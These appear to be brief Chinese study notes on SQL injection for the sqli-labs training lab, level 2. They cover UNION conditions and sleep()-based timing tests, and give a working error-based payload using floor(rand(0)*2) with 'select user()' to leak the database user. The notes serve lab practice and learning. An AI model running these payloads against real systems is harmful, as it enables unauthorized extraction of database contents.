Union 查询利用条件:页面要有回显点
无回显点:
单双引号看是否报错,若报错,判断是否为整数型
猜测查询语句:如果是整数型用sleep()函数会延迟
若为整数型:select * from xxx where id = 1 and sleep(3) 会延迟
若是字符串型:select * from xxx where id = '1 and sleep(3)' 不会延迟
这里得知sqli-labs第二关是整数型无回显但是可以报错
通过以下payload构造查询语句查询想要的信息
and ( Select count(*) from information_schema.tables group by concat((payload),floor(rand(0)*2)))
我们在payload更换为select user()
and ( Select count(*) from information_schema.tables group by concat((select user()),floor(rand(0)*2)))
再在and 前加一个 1 再查询试一试